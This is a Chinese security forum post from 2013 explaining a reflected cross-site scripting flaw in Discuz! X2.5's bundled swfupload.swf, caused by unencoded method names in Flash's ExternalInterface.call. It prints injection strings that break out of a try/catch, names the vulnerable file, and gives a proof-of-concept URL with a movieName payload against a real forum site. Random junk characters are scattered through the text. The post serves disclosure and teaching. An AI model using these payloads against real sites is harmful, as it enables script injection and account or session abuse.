找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1976|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说" {) ^/ j! J4 [1 v

+ K+ i' f( n. Q9 e: S0 nflash.external.ExternalInterface.call($methodName, $parameter)5 t; k+ v4 P8 |1 i  B
在浏览器中执行的是$ z9 H& N: a" I2 l+ A

# \/ J7 J. ]. c% A6 G  f' otry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
7 R: z+ `. V7 ~2 V# _对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如( s, ]7 s: p: q" U1 u

( P+ @! x: t2 D4 F# O" Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)
. y. p% D  G2 H8 U0 {  ?$methodName = a())}catch(e){alert(/xss/)}//
, m9 s1 t4 b+ c* v5 \结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. Z1 U: D3 p: `) [0 ~- T3 [, j

) Z/ u: i( @* z# o. B, v+ rtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ T* T  o0 x5 n  W# ]& g! I
) S9 x3 Y2 ?; m. R
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! E( Z* g( w9 e杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。& @( }* V5 c  h5 A
: m; ^9 o7 _) q% {
6 |# j% [- ~0 \4 |
4 n2 r2 r% v% J1 O% W
漏洞文件:upload\static\image\common\swfupload.swf
5 d+ L+ T6 F( @3 ^
- B3 g) u: f+ v原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf* h7 B3 z$ {0 e1 a1 M, W

. r" S7 M  T. l% w: z7 D4 d# V  F. K6 L0 Z
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: m0 K0 X4 h8 P. L( j4 _) i
4 F  w1 Q! J& J% M# n& l& ^7 i9 l8 D- U9 b5 d& H: p3 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表